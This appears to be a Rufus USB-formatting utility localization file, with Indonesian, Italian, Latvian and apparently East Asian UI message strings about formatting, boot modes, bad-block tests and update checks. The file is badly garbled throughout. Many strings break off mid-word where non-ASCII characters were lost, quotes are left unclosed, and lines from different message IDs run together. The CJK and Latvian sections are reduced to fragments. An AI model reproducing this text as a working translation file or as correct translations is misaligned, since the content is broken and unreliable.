"Grub %s.\n\nKarena versi baru Grub tidak kompatibel satu dengan lainnya, dan tidak mungkin "
"('core.img') yang sesuai dengan image Anda:\n""- Pilih 'Batal' untuk membatalkan operasi\n\n"
t MSG_150 "Umumnya merupakan pilihan teraman. Namun, jika Anda memiliki komputer UEFI dan ingin menginstal "
"sebuah Sistem Operasi di modus EFI murni, Anda harus memilih salah satu opsi lain"
t MSG_151 "Gunakan ini jika Anda ingin menginstal Sistem Operasi di modus EFI murni, namun perlu mengakses "
"isi USB dari Windows XP"
t MSG_152 "Pilihan yang paling disukai untuk menginstal Sistem Operasi di modus EFI murni, ketika akses USB "
"tidak diperlukan dari Windows XP"
t MSG_153 "Tes pola: 0xX"
t MSG_154 "Tes pola: 0xX, 0xX"
t MSG_155 "Tes pola: 0xX, 0xX, 0xX"
t MSG_156 "Tes pola: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Atur sistem berkas target"
t MSG_158 "Ukuran minimal blok data yang akan menempati sistem berkas"
t MSG_159 "Gunakan bidang ini untuk menyetel karakter Internasional yang diperbolehkan\npada label perangkat"
t MSG_160 "Tombol untuk opsi lanjutan"
t MSG_161 "Periksa blok buruk pada perangkat menggunakan tes pola"
t MSG_162 "Hapus centang kotak ini untuk menggunakan metode format \"lambat\""
t MSG_163 "Centang kotak ini untuk membuat perangkat USB bootable"
t MSG_164 "Metode yang akan digunakan untuk membuat perangkat bootable"
t MSG_165 "Klik untuk memilih sebuah image..."
t MSG_166 "Centang kotak ini untuk menampilkan label internasional "
"dan menyetel ikon perangkat (membuat autorun.inf)"
t MSG_167 "Menginstal MBR memungkinkan untuk boot dan dapat memanipulasi ID perangkat USB di BIOS"
t MSG_168 "Mencoba memanipulasi perangkat USB bootable (biasanya 0x80) sebagai disk yang berbeda.\n"
"Biasanya hanya diperlukan jika Anda memasang Windows XP dan memiliki lebih dari satu disk"
t MSG_169 "Membuat partisi tersembunyi tambahan dan memcoba menyelaraskan batas partisi.\n"
t MSG_170 "Aktifkan pencantuman USB Hard Drive enclosures. RESIKO DITANGGUNG ANDA SENDIRI!!!"
t MSG_171 "Mulai operasi format.\nTindakan ini akan MENGHAPUS semua data pada target!"
t MSG_172 "Informasi lisensi dan kredit"
t MSG_173 "Klik untuk memilih..."
t MSG_174 "Rufus - Utilitas Pemformatan USB yang Handal"
t MSG_175 "Versi %d.%d (Build %d)"
t MSG_176 "Terjemahan Bahasa Indonesia: Abe Akatsuki, Arif Budiman"
t MSG_177 "Laporkan bug atau permintaan perbaikan pada:"
t MSG_178 "Hak Cipta Tambahan:"
t MSG_179 "Ketentuan Pembaruan:"
t MSG_180 "Jika Anda memilih untuk mengizinkan program ini memeriksa pembaruan aplikasi, "
t MSG_181 "Arsitektur dan versi sistem operasi Anda"
t MSG_182 "Versi aplikasi yang Anda gunakan"
t MSG_183 "Alamat IP Anda"
t MSG_184 "Dengan tujuan untuk menghasilkan statistik penggunaan pribadi, kami dapat menyimpan informasi yang dikumpulkan, "
t MSG_185 "Proses Pembaruan:"
t MSG_186 "Rufus tidak memasang atau menjalankan layanan latar belakang, oleh karena itu pemeriksaan pembaruan dapat dilakukan hanya ketika aplikasi utama berjalan.\\line\n"
t MSG_187 "Image tidak sah untuk opsi boot yang dipilih"
t MSG_188 "Image saat ini tidak cocok dengan opsi boot yang dipilih. Silakan gunakan image yang lain atau pilih opsi boot yang berbeda."
t MSG_189 "Image ISO ini tidak kompatibel dengan sistem berkas yang dipilih"
t MSG_190 "Perangkat tidak kompatibel terdeteksi"
t MSG_191 "Tulis berlalu"
t MSG_192 "Baca berlalu"
t MSG_193 "Diunduh %s"
t MSG_194 "Tidak dapat mengunduh %s"
t MSG_195 "Menggunakan %s berkas versi tersemat"
t MSG_196 "PENTING: PERANGKAT INI MENGGUNAKAN UKURAN SEKTOR YANG TIDAK STANDAR!\n\n"
"Perangkat konvensional menggunakan ukuran sektor 512-byte tetapi perangkat ini menggunakan %d-byte. "
t MSG_197 "Ukuran sektor tidak standar terdeteksi"
t MSG_198 "'Windows To Go' hanya dapat diinstal pada perangkat yang berpartisi GPT yang memiliki "
t MSG_199 "Pilih ini jika Anda berencana untuk menginstal Windows, pada disk lain, menggunakan perangkat yang dipilih sebagai media instalasi."
t MSG_200 "Pilih ini jika Anda ingin menjalankan Windows secara langsung dari perangkat yang dipilih."
t MSG_201 "Membatalkan - Silakan Tunggu..."
t MSG_202 "Memindai image..."
t MSG_203 "Gagal memindai image"
t MSG_204 "%s usang terdeteksi"
t MSG_205 "Menggunakan image: %s"
t MSG_206 "Berkas %s hilang"
t MSG_207 "Volume Baru"
t MSG_208 "%d perangkat ditemukan"
t MSG_209 "%d perangkat ditemukan"
t MSG_210 "SIAP"
t MSG_211 "Dibatalkan"
t MSG_212 "Gagal"
t MSG_213 "Meluncurkan aplikasi baru..."
t MSG_214 "Gagal meluncurkan aplikasi baru"
t MSG_215 "Membuka %s"
t MSG_216 "Menyimpan %s"
t MSG_217 "Memformat: %0.1f%% selesai"
t MSG_218 "Membuat sistem berkas: Tugas %d/%d selesai"
t MSG_219 "Perbaikan NTFS: %d%% selesai"
t MSG_220 "Memformat (%s) - perkiraan durasi %d:d..."
t MSG_221 "Menyetel Label (Memerlukan beberapa saat)..."
t MSG_222 "Memformat (%s)..."
t MSG_223 "Perbaikan NTFS (Checkdisk)..."
t MSG_224 "Membersihkan struktur MBR/PBR/GPT..."
t MSG_225 "Meminta akses disk..."
t MSG_226 "Menganalisa boot records yang ada..."
t MSG_227 "Menutup volume yang ada..."
t MSG_228 "Menulis master boot record..."
t MSG_229 "Menulis boot record partisi..."
t MSG_230 "Menyalin berkas DOS..."
t MSG_231 "Menyalin berkas ISO..."
t MSG_232 "Win7 EFI boot setup (memerlukan beberapa saat)..."
t MSG_233 "Menyelesaikan, silakan tunggu..."
t MSG_234 "Menginstal Syslinux %s..."
t MSG_235 "Blok Buruk: %s %d/%d - %0.2f%% (%d/%d/%d errors)"
t MSG_236 "Blok Buruk: Mencoba denga pola acak"
t MSG_237 "Blok Buruk: Mencoba dengan pola 0xX"
t MSG_238 "Mempartisi (%s)..."
t MSG_239 "Menghapus partisi..."
t MSG_240 "Mengunduh %s: Menyambungkan..."
t MSG_241 "Mengunduh: %0.1f%%"
t MSG_242 "gagal mengunduh berkas."
t MSG_243 "Memeriksa pembaruan Rufus..."
t MSG_244 "Pembaruan: Tidak dapat menyambungkan ke internet"
t MSG_245 "Pembaruan: Tidak dapat mengakses data versi"
t MSG_246 "Versi baru Rufus tersedia!"
t MSG_247 "Tidak ada versi baru Rufus yang ditemukan"
t MSG_248 "Registry aplikasi berhasil dihapus"
t MSG_249 "Gagal menghapus kunci registry aplikasi"
t MSG_250 "%s diaktifkan"
t MSG_251 "%s dinonaktifkan"
t MSG_252 "Periksa ukuran"
t MSG_253 "Deteksi Hard disk"
t MSG_254 "Format paksa FAT32 yang besar"
t MSG_255 "NoDriveTypeAutorun akan dihapus saat keluar"
t MSG_256 "Deteksi perangkat palsu"
t MSG_257 "Dukungan Joliet"
t MSG_258 "Dukungan Rock Ridge"
t MSG_259 "Pembaruan Paksa"
t MSG_260 "Kompresi NTFS"
t MSG_261 "Menulis image: %0.1f%% selesai"
t MSG_262 "Dukungan ISO"
t MSG_263 "Gunakan unit ukuran PROPER"
t MSG_264 "Menghapus direktori '%s'"
t MSG_265 "Deteksi VMWare disk"
t MSG_266 "Modus Dual UEFI/BIOS"
t MSG_267 "Menerapkan image Windows: %0.1f%% selesai"
t MSG_268 "Menerapkan image Windows..."
t MSG_269 "Pertahankan timestamps"
t MSG_271 "Menghitung ceksum image: %0.1f%% selesai"
t MSG_272 "Hitung ceksum MD5, SHA1 dan SHA256 pada image yang dipilih"
t MSG_273 "Ubah bahasa aplikasi"
t MSG_274 "Image ISOHybrid terdeteksi"
t MSG_275 "Image yang Anda pilih merupakan image 'ISOHybrid'. Ini artinya image tersebut dapat ditulis dalam "
"mode %s (salin berkas) atau mode %s (disk image).\n"
"Rufus menyarankan untuk menggunakan mode %s, sehingga Anda tetap memiliki akses pada perangkat setelah menulisnya.\n"
"Namun, jika Anda menemukan masalah saat boot, Anda bisa mencoba menulis image ini kembali dalam mode %s.\n\n"
t MSG_276 "Tulis dalam mode %s (Disarankan)"
t MSG_277 "Tulis dalam mode %s"
t MSG_278 "Tipe Boot"
t MSG_280 "Pemilihan image"
t MSG_281 "(Silakan pilih sebuah image)"
t MSG_282 "Penguncian perangkat USB khusus"
t MSG_283 "Tanda tangan digital tidak valid"
t MSG_284 "Berkas exe yang diunduh memiliki tanda tangan digital yang salah."
t MSG_285 "Berkas exe yang diunduh ditandatangani oleh '%s'.\nTanda tangan ini "
t IDC_WINDOWS_INSTALL "Installazione Windows standard"
t IDC_WEBSITE " Fai clic qui per visitare il sito web"
t MSG_001 "Rilevata altra istanza Rufus"
t MSG_003 "ATTENZIONE: TUTTI I DATI SULL'UNITA' '%s' SARANNO CANCELLATI.\n"
t MSG_004 "Policy aggiornamenti Rufus"
t MSG_005 "Vuoi permettere a Rufus di controllare gli aggiornamenti online?"
t MSG_006 "Chiudi"
t MSG_007 "Annulla"
t MSG_008 "S
t MSG_010 "Rilevato blocco difettoso"
t MSG_011 "Controllo completato: trovati %d blocchi difettosi\n"
" %d errori lettura\n %d errori scrittura\n %d errori corruzione\n"
t MSG_012 "%s\nUn report pi
disponibile in:\n%s"
t MSG_013 "Disabilitato"
t MSG_014 "Giornaliero"
t MSG_015 "Settimanale"
t MSG_016 "Mensile"
t MSG_017 "Personalizzato"
t MSG_018 "Versione installata: %d.%d (Build %d)"
t MSG_019 "Versione aggiornata: %d.%d (Build %d)"
t MSG_029 "Predefinito"
t MSG_030 "%s (predefinito)"
t MSG_031 "Schema partizione %s per BIOS o %s"
t MSG_032 "Schema partizione %s per BIOS"
t MSG_033 "Schema partizione %s per UEFI"
t MSG_034 "%d test"
t MSG_035 "%d test"
t MSG_036 "Immagine ISO"
t MSG_037 "Applicazione"
t MSG_038 "Annulla"
t MSG_039 "Esegui"
t MSG_041 "Operazione annullata dall'utente"
t MSG_042 "Errore"
t MSG_043 "Errore: %s"
t MSG_044 "Download file"
t MSG_045 "Unit
t MSG_046 "%s (disco %d) [%s]"
t MSG_047 "Partizioni multiple"
t MSG_048 "Rufus - Svuotamento buffer"
t MSG_049 "Rufus - Cancellazione"
t MSG_050 "Completato."
t MSG_051 "Errore sconosciuto durante la formattazione."
t MSG_052 "Impossibile usare il filesystem selezionato."
t MSG_053 "Accesso negato all'unit
t MSG_054 "Il supporto
t MSG_055 "L'unit
t MSG_056 "Formattazione rapida non disponibile per questa unit
t MSG_057 "Etichetta volume non valida."
t MSG_058 "Il gestore unit
t MSG_059 "Dimensione cluster selezionata non valida per questa unit
t MSG_060 "Dimensione volume non valida."
t MSG_061 "Inserisci un supporto nell'unit
stato ricevuto un comando non supportato."
t MSG_063 "Errore allocazione memoria."
t MSG_064 "Errore lettura."
t MSG_065 "Errore scrittura."
t MSG_066 "Installazione fallita"
t MSG_067 "Impossibile aprire il supporto. Potrebbe essere in uso da un altro processo."
"Reinserisci il supporto e riprova."
t MSG_068 "Errore nel partizionamento dell'unit
t MSG_069 "Impossibile copiare i file nell'unit
t MSG_070 "Annullato dall'utente."
t MSG_071 "Impossibile creare attivit
t MSG_072 "Controllo blocchi errati non completato."
t MSG_073 "Analisi fallita immagine ISO."
t MSG_074 "Estrazione fallita immagine ISO."
t MSG_075 "Impossibile rimontare l'unit
t MSG_076 "Impossibile correggere/impostare i file per il boot."
t MSG_077 "Impossibile assegnare una lettera all'unit
t MSG_078 "Impossibile montare volume GUID."
t MSG_079 "L'unit
t MSG_080 "Rufus ha rilevato che Windows sta ancora svuotando i buffer interni relativi all'unit
USB, questa operazione potrebbe richiedere un certo tempo per essere completata, "
"specialmente per file molto grandi.\n\nTi suggeriamo di attendere che Windows completi le operazioni per evitare la corruzione dei dati. "
t MSG_081 "Formato immagine non supportato"
t MSG_082 "Questa immagine non
bootabile, o usa un metodo di boot o di compressione non supportato da Rufus..."
t MSG_083 "Sostituire %s?"
t MSG_084 "Questa immagine sembra che usi una versione obsoleta di '%s'.\n"
"scaricato '%s', verr
t MSG_086 "Nessuna immagine selezionata"
t MSG_087 "Fai clic sul pulsante disco per selezionare una immagine avviabile, "
t MSG_088 "Immagine troppo grande"
t MSG_089 "Questa immagine
t MSG_090 "Formato ISO non supportato"
t MSG_091 "Quando usi una destinazione di tipo UEFI, sono supportate solo immagini ISO avviabili EFI. "
t MSG_092 "Filesystem non supportato"
t MSG_093 "IMPORTANTE: QUESTA UNITA' CONTIENE PARTIZIONI MULTIPLE!!\n\n"
includere partizioni/volumi che non sono elencati anche se visibili da Windows."
t MSG_094 "Rilevate partizioni multiple"
t MSG_095 "Immagine DD"
t MSG_096 "Il file system attualmente selezionato non pu
t MSG_097 "'%s' pu
t MSG_098 "IMPORTANTE: stai tentando di installare 'Windows To Go', ma l'unit
Windows molto probabilmente si bloccher
t MSG_099 "Limitazione filesystem"
t MSG_100 "Questa immagine ISO contiene un file pi
t MSG_101 "Supporto WIN mancante"
t MSG_102 "Il tuo sistema operativo non pu
USB avviabile EFI Windows 7 e Windows Vista. Puoi correggere ci
t MSG_104 "%s o successivo richiedono l'installazione di un file '%s'.\n"
sempre presente nell'immagine ISO di %s, "
t MSG_105 "La cancellazione potrebbe lasciare il dispositivo in uno stato NON USABILE.\n"
t MSG_106 "Seleziona la cartella"
t MSG_107 "Tutti i file"
t MSG_108 "Registro eventi Rufus"
t MSG_109 "0xX (disco %d)"
t MSG_110 "Non si pu
t MSG_111 "Dimensione cluster incompatibile"
t MSG_112 "La formattazione di un volume UDF di grandi dimensioni pu
di %d:d, durante il quale la barra di progresso non verr
aggiornata. Attendi il completamento dell'operazione!"
t MSG_113 "Voume UDF di grandi dimensioni"
t MSG_114 "Questa immagine usa Syslinux %s%s ma questa applicazione include solo i file di installazione per "
"Syslinux %s%s.\n\nPoich
"('ldlinux.sys' e 'ldlinux.bss'):\n""- Seleziona 'No' per annullare l'operazione\n\n"
t MSG_115 "Richiede download"
t MSG_116 "Questa immagine usa Grub %s ma l'applicazione incliude solo i file di installazione per "
"Grub %s.\n\nQuesta differente versione di Grub potrebbe non essere compatibile con l'altra, e non
"installazione di Grub ('core.img') che corrisponda a quella dell'immagine.\n""- Seleziona 'Annulla' per interrompere l'operazione.\n\n"
t MSG_150 "Questa impostazione
"un sistema operativo in modo EFI, puoi selezionare una delle opzioni sottostanti"
t MSG_151 "Usa questa impostazione se vuoi installare un sistema operativo in modo EFI, ma devi accedere "
"al contenuto USB in Windows XP"
t MSG_152 "L'opzione preferita per installare un sistema operativo in modo EFI quando "
richiesto in Windows XP"
t MSG_153 "Pattern di test: 0xX"
t MSG_154 "Pattern di test: 0xX, 0xX"
t MSG_155 "Pattern di test: 0xX, 0xX, 0xX"
t MSG_156 "Pattern di test: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Impostazione del filesystem destinazione"
t MSG_158 "Dimensione minima del blocco dati del filesystem"
t MSG_159 "Usa questo campo per impostare l'etichetta dell'unit
t MSG_160 "Abilita/disabilita opzioni avanzate"
t MSG_161 "Abilita questa opzione per effettuare un controllo dei blocchi danneggiati nel dispositivo usando un pattern di test"
t MSG_162 "Deseleziona questa opzione per usare il metodo di formattazione completo ma 'lento'"
t MSG_163 "Abilita questa opzione per rendere l'unit
t MSG_164 "Definisce il metodo che verr
t MSG_165 "Seleziona l'immagine..."
t MSG_166 "Abilita questa opzione per permettere la visualizzazione delle etichette internazionali "
un file autorun.inf)"
t MSG_167 "Installa un MBR che permette la selezione all'avvio e maschera l'ID unit
t MSG_168 "Prova prima a macsherare l'unit
"Questo potrebbe essere necessario solo se installi Windows XP e hai pi
t MSG_169 "Crea una partizione aggiuntiva e nascosta e prova ad allineare le diverse partizioni.\n"
t MSG_170 "Abilita il rilevamento per i dischi USB. USALO A TUO RISCHIO!!!"
t MSG_171 "Avvia l'operazione di formattazione.\nQuesta operazione DISTRUGGERA' qualsiasi dato sull'unit
t MSG_172 "Informazioni licenza e ringraziamenti"
t MSG_173 "Fai clic per selezionare..."
t MSG_174 "Rufus - Utility affidabile formattazione unit
t MSG_175 "Versione %d.%d (build %d)"
t MSG_176 "Traduzione italiana a cura di bovirus"
t MSG_177 "Segnala i problemi o richiedi nuove funzionalit
t MSG_178 "Diritti aggiuntivi:"
t MSG_179 "Policy aggiornamenti:"
t MSG_180 "Se scegli di permette a questo programma di controllare automaticamente gli aggiornamenti, "
t MSG_181 "L'architettura del tuo sistema operativo e la versione"
t MSG_182 "La versione dell'applicazione in uso"
t MSG_183 "Il tuo indirizzo IP"
t MSG_184 "Potremmo mantenere le informazioni al solo scopo di creare una statistica privata di utilizzo, "
t MSG_185 "Processo aggiornamento:"
t MSG_186 "Rufus non installa o esegue servizi in background. Il controllo aggiornamenti verr
t MSG_187 "Immagine non valida per opzione boot selezionata"
t MSG_188 "L'immagine selezionata non corrisponde all'opzione boot scelta. Usa un'immagine differente o scegli un'opzione boot differente."
t MSG_189 "Questa immagine non
t MSG_190 "Rilevata unit
t MSG_191 "Fase scrittura"
t MSG_192 "Fase lettura"
t MSG_193 "Scaricati %s"
t MSG_194 "Impossibile scaricare %s"
t MSG_195 "Utilizzo versione integrata dei file %s"
t MSG_196 "IMPORTANTE: QUESTA UNITA' USA UNA DIMENSIONE SETTORI NON STANDARD!\n\n"
usa una dimensione di %d byte. "
t MSG_197 "Rilevata dimensione settore non standard"
t MSG_198 "'Windows To Go' pu
t MSG_199 "Scegli se vuoi installare Windows, su un altro disco, usando il dispositivo selezionato come supporto di installazione."
t MSG_200 "Scegli se vuoi installare Windows direttamente dal dispositivo selezionato."
t MSG_201 "Annullamneto..."
t MSG_202 "Analisi immagine..."
t MSG_203 "Analisi immagine fallita"
t MSG_204 "Rilevato %s obsoleto"
t MSG_205 "Uso immagine: %s"
t MSG_206 "File %s mancante"
t MSG_207 "Nuovo volume"
t MSG_208 "Rilevato %d dispositivo"
t MSG_209 "Rilevati %d dispositivi"
t MSG_210 "PRONTO"
t MSG_211 "Annullata"
t MSG_212 "OPERAZIONE FALLITA"
t MSG_213 "Esecuzione nuova applicazione..."
t MSG_214 "Esecuzione fallita nuova applicazione"
t MSG_215 "Aperto %s"
t MSG_216 "Salvato %s"
t MSG_217 "Formattazione: %0.1f%% completata"
t MSG_218 "Creazione filesystem: attivit
%d/%d completata"
t MSG_219 "Correzione NTFS: %d%% completata"
t MSG_220 "Formattazione (%s) - durata stimata %d:d..."
t MSG_221 "Impostazione etichetta (potrebbe richiedere del tempo)..."
t MSG_222 "Formattazione (%s)..."
t MSG_223 "Correzione NTFS (controllo disco)..."
t MSG_224 "Azzeramento struttura MBR/PBR/GPT..."
t MSG_225 "Richiesta accesso disco..."
t MSG_226 "Analisi dati avvio..."
t MSG_227 "Chiusura volume esistente..."
t MSG_228 "Scrittura master boot record..."
t MSG_229 "Scrittura partizione di avvio..."
t MSG_230 "Copia file DOS..."
t MSG_231 "Copia file immagine ISO..."
t MSG_232 "Impostazione avvio EFI Windows 7 (potrebbe richiedere del tempo)..."
t MSG_233 "Finalizzazione..."
t MSG_234 "Installazione Syslinux %s..."
t MSG_235 "Blocchi danneggiati: %s %d/%d - %0.2f%% (%d/%d/%d errori)"
t MSG_236 "Blocchi danneggiati: test con pattern casuali"
t MSG_237 "Blocchi danneggiati: testing con pattern 0xX"
t MSG_238 "Partitionamento (%s)..."
t MSG_239 "Eliminazione partizioni..."
t MSG_240 "Download di %s: connessione..."
t MSG_242 "Impossibile scaricare il file."
t MSG_243 "Verifica disponibilit
t MSG_244 "Aggiornamento: impossibile collegarsi a internet"
t MSG_245 "Aggiornamento: impossibile accedere alle info versione"
t MSG_247 "La versione installata
t MSG_248 "Registro applicazione correttamente eliminato"
t MSG_249 "Impossibile eliminare il registro applicazione"
t MSG_250 "Abilitato %s"
t MSG_251 "Disabilitato %s"
t MSG_252 "Controllo dimensione"
t MSG_253 "Rilevamento dischi fissi"
t MSG_254 "Forza formattazione FAT32 estesa"
t MSG_255 "Verr
t MSG_256 "Rilevamento unit
t MSG_257 "Supporto Joliet"
t MSG_258 "Supporto Rock Ridge"
t MSG_259 "Forza aggiornamento"
t MSG_260 "Compressione NTFS"
t MSG_261 "Scrittura immagine: %0.1f%% completata"
t MSG_262 "Supporto ISO"
t MSG_263 "Usa unit
t MSG_264 "Eliminazione cartella '%s'"
t MSG_265 "Rilevamento disco VMWare"
t MSG_266 "Modo duale UEFI/BIOS"
t MSG_267 "Applicazione immagine Windows: %0.1f%% completata"
t MSG_268 "Applicazione immagine Windows..."
t MSG_269 "Preserva data/ora"
t MSG_271 "Calcolo checksum immagine: %0.1f%% completato"
t MSG_272 "Calcola le checksum MD5, SHA1 e SHA256 per l'immagine selezionata"
t MSG_273 "Cambia la lingua dell'interfaccia"
t MSG_274 "Rilevata immagine ISO ibrida"
t MSG_275 "L'immagine selezionata
"'%s' (copia file) o in modo '%s' (immagine disco).\n"
"Rufus suggerisce di usare il modo '%s', in modo da avere sempre pieno accesso all'unit
"Se incontri problemi al boot, puoi provare a scrivere questa immagine in modo %s.\n\n"
t MSG_276 "Scrivi in modo %s (suggerito)"
t MSG_277 "Scrivi in modo %s"
t MSG_278 "Tipo boot"
t MSG_279 "Non avviabile"
t MSG_280 "Selezione immagine"
t MSG_281 "(seleziona un'immagine)"
t MSG_282 "Blocco esclusivo unit
t MSG_283 "Firma non valida"
t MSG_284 "L'eseguibile scaricato non ha una firma digitale."
t MSG_285 "L'eseguibile scaricato
firmato da '%s'.\nQuesta non
s IDC_NBPASSES 60,0
Windows
t MSG_002 "Rufus
t MSG_004 "Rufus
t MSG_005 "Rufus
%d\n"
%d \n
%d \n"
t MSG_031 "%s BIOS
t MSG_032 "%s BIOS
t MSG_033 "%s UEFI
t MSG_036 "ISO
t MSG_045 "USB
t MSG_073 "ISO
t MSG_074 "ISO
t MSG_078 "GUID
t MSG_080 "Rufus
t MSG_083 "%s
t MSG_085 "%s
t MSG_091 "UEFI
"Windows
t MSG_095 "DD
t MSG_100 "ISO
t MSG_108 "Rufus
t MSG_112 "USB2.0
%d:d
Grub %s
('core.img')"t MSG_151 "EFI
Windows XP
t MSG_152 "EFI
(autorun.inf
"autorun.inf
"Windows XP
<mailto:chantella-eng@live.com> \\line"
: Tiryoh <mailto:tiryoh@gmail.com>"
t MSG_183 "IP
t MSG_186 "Rufus
t MSG_194 "%s
t MSG_198 "FIXED
t MSG_205 "%s
t MSG_208 "%d
t MSG_209 "%d
: (%s) -
: (%s)..."
t MSG_223 "NTFS
t MSG_230 "DOS
t MSG_231 "ISO
:%s %d/%d - %0.2f%% (%d/%d/%d
t MSG_243 "Rufus
t MSG_246 "Rufus
t MSG_247 "Rufus
t MSG_255 "NoDriveTypeAutorun
t MSG_257 "Juliet
t MSG_258 "Rock Ridge
t MSG_260 "NTFS
t MSG_262 "ISO
t MSG_265 "VMWare
t MSG_267 "Windows
t MSG_268 "Windows
t MSG_270 "USB
t MSG_276 "%s
t MSG_277 "%s
t MSG_286 "'0'
t MSG_027 "KB"
t MSG_028 "MB"
%s (BIOS
t MSG_034 "
t MSG_035 "%d
"'%s'
t MSG_088 "ISO
t MSG_091 "UEFI
t MSG_097 "'%s'
: 'Windows To Go'
t MSG_101 "WIM
Windows Vista
t MSG_103 "%s
t MSG_104 "%s
t MSG_110 "MS-DOS
"%d:d
"Syslinux %s%s.\n\nSyslinux
"('ldlinux.sys' and 'ldlinux.bss'):\n""Grub %s
('core.img')t MSG_151 "EFI
, Windows XP
t MSG_152 "EFI
t MSG_163 "USB
t MSG_165 "ISO
"(autorun.inf
t MSG_170 "USB
<mailto:ho82.kr@gmail.com>"
t MSG_193 "%s
t MSG_198 "'Windows To Go'
t MSG_203 "ISO
t MSG_206 "%s
t MSG_208 "%d
t MSG_209 "%d
t MSG_215 "%s
t MSG_216 "%s
t MSG_220 "(%s)
t MSG_224 "MBR/PBR/GPT
t MSG_230 "DOS
t MSG_231 "ISO
t MSG_232 "WIN7 EFI
t MSG_234 "Syslinux %s
: PASS %d/%d - %0.2f%% (%d/%d/%d errors)"
: 0xX
t MSG_240 "%s
t MSG_254 "Large FAT32
t MSG_255 "NoDriveTypeAutoRun
t MSG_264 "'%s'
t MSG_267 "Windows
t MSG_268 "Windows
t MSG_274 "ISOHybrid
t MSG_276 "ISO
t MSG_277 "DD
m IDC_NBPASSES 45,0
t IDC_WINDOWS_INSTALL "Standarta Windows instal
t IDC_WEBSITE "Piespiediet
t MSG_001 "Noteikta cita procesa esam
t MSG_002 "Cits Rufus eksempl
t MSG_003 "UZMAN
JA '%s' TIKS IZDZ
t MSG_004 "Rufus jaunin
t MSG_005 "Vai v
t MSG_006 "Aizv
t MSG_007 "Atcelt"
t MSG_008 "J
t MSG_009 "N
t MSG_010 "Atrasti boj
t MSG_011 "P
rbaude pabeigta: atrasts(-i) %d boj
" %d nolas
da(-s)\n %d ieraksta k
da(-s)\n %d boj
t MSG_012 "%s\nS
ku atskaiti var atrast:\n%s"
t MSG_013 "Atsl
t MSG_014 "Ik dienu"
t MSG_015 "Ik ned
t MSG_016 "Ik m
t MSG_017 "Cit
t MSG_018 "J
su versija: %d.%d (Build %d)"
t MSG_019 "P
versija: %d.%d (Build %d)"
t MSG_020 "baiti"
t MSG_026 "baiti"
t MSG_027 "kilobaiti"
t MSG_028 "megabaiti"
t MSG_029 "Noklus
t MSG_030 "%s (Noklus
t MSG_031 "%s form
ts datoriem ar BIOS vai %s"
t MSG_032 "%s form
t MSG_033 "%s form
t MSG_034 "%d m
t MSG_035 "%d m
t MSG_036 "ISO imid
t MSG_037 "Aplik
t MSG_039 "Start
t MSG_040 "Lejupl
t MSG_041 "Darb
t MSG_042 "K
t MSG_043 "K
da: %s"
t MSG_044 "Fails lejupl
t MSG_045 "USB atmi
t MSG_046 "%s (Disks %d) [%s]"
t MSG_047 "Multi part
t MSG_049 "Darb
t MSG_050 "Veiksm
t MSG_051 "Nezin
t MSG_053 "Piek
t MSG_054 "Iek
t MSG_055 "Iek
t MSG_057 "Ier
t MSG_058 "Ier
t MSG_059 "Izv
t MSG_060 "Nekorekts part
t MSG_062 "Tika sa
t MSG_063 "Atmi
t MSG_064 "Nolas
t MSG_065 "Ieraksta k
t MSG_066 "Nesekm
t MSG_067 "Nevar atv
t MSG_068 "Diska veido
t MSG_069 "Neizdev
t MSG_070 "Darb
t MSG_071 "Neizdev
t MSG_072 "Boj
t MSG_073 "ISO imid
t MSG_074 "ISO imid
t MSG_075 "Neizdev
t MSG_076 "Neizdev
t MSG_077 "Neizdev
t MSG_078 "Neizdev
t MSG_079 "Ier
t MSG_080 "Rufus noteica ka Windows nav beidzis darbu ar USB ier
t Windows darb
t MSG_081 "Neatbalst
t MSG_082 "Izv
t MSG_083 "Aizvietot %s?"
as versijas '%s'.\n"
"'%s' autom
t MSG_085 "Lejupl
ts %s"
t MSG_086 "Nav izv
t MSG_087 "Piespiediet uz pogas ar disku lai nor
t MSG_088 "Imid
t MSG_089 "Izv
t MSG_090 "Neatbalst
t MSG_091 "Izmantojot sist
t MSG_092 "Neatbalst
t MSG_093 "SVAR
lotas vai redzamas no Windows. "
t MSG_094 "Konstat
t MSG_095 "DD imid
t MSG_096 "Teko
t MSG_097 "'%s' var izmantot tikai ar NTFS failu sist
t MSG_098 "SVAR
t 'Windows To Go', bet izv
dz ar to Windows iel
t MSG_099 "Failu sist
t MSG_101 "K
t MSG_102 "J
des diska izveidei OS Windows 7 vai Windows Vista USB diskiem. To var izlabot "
t MSG_103 "Lejupl
ts %s?"
t MSG_104 "Instal
ama %s vai jaun
ka faila '%s' versija.\n"
ks par 100 KB, un pieder %s ISO imid
"'%s' jau ir, tas tiks p
t MSG_105 "Darb
t MSG_106 "Izv
t MSG_107 "Visi faili"
t MSG_108 "Rufus logs"
t MSG_109 "0xX (Disks %d)"
t MSG_110 "MS-DOS nevar iel
t MSG_111 "Nekorekts klastera izm
t MSG_112 "Large UDF disku format
"ilgums ir %d:d, kura laik
t MSG_113 "Large UDF disks"
s izmanto Syslinux %s%s, bet aplik
"Syslinux %s%s.\n\nT
gos failus ('ldlinux.sys' un 'ldlinux.bss'):\n"t MSG_115 "Nepiecie
s izmanto Grub %s bet aplik
"Grub %s.\n\nT
"faila versiju ('core.img') kuru meklt MSG_150 "Parasti izmantojam
t MSG_151 "Izmantojiet
uve no Windows XP"
t MSG_152 "Izmantojiet
t MSG_153 "Boj
t MSG_154 "Boj
t MSG_155 "Boj
t MSG_156 "Boj
t MSG_157 "Failu sist
t MSG_159 "Ievadiet nes
t MSG_160 "Atv
t MSG_161 "Atz
t MSG_162 "No
t MSG_163 "Atz
t MSG_164 "Iel
t MSG_165 "Piespiediet imid
t MSG_166 "Atz
"ikonas izveidei (tiek izveidots fails autorun.inf)"
t MSG_167 "Instal
t MSG_168 "M
jat Windows XP un izmantojat vair
t MSG_169 "IZveidot papildus sl
t MSG_170 "R
t MSG_171 "Tiks s
t MSG_172 "Inform
t MSG_173 "Piespiediet izv
t MSG_174 "Rufus - uzticama un vienk
t MSG_175 "Versija %d.%d (Build %d)"
t MSG_176 "Latvie
u tulkojums: Aldis Tutins <mailto:alibaba@inbox.lv>"
t MSG_177 "Pazi
t MSG_178 "Papildus autorties
t MSG_179 "Jaunin
t MSG_180 "Ja j
t MSG_181 "J
t MSG_182 "Izmantojam
t MSG_183 "J
t MSG_184 "Statistikas nol
t MSG_185 "Jaunin
t MSG_186 "Rufus netiek instal
t MSG_187 "Izv
t MSG_188 "Izv
t MSG_190 "Noteikts neatbalst
t MSG_191 "M
t MSG_192 "Nolas
t MSG_193 "Iel
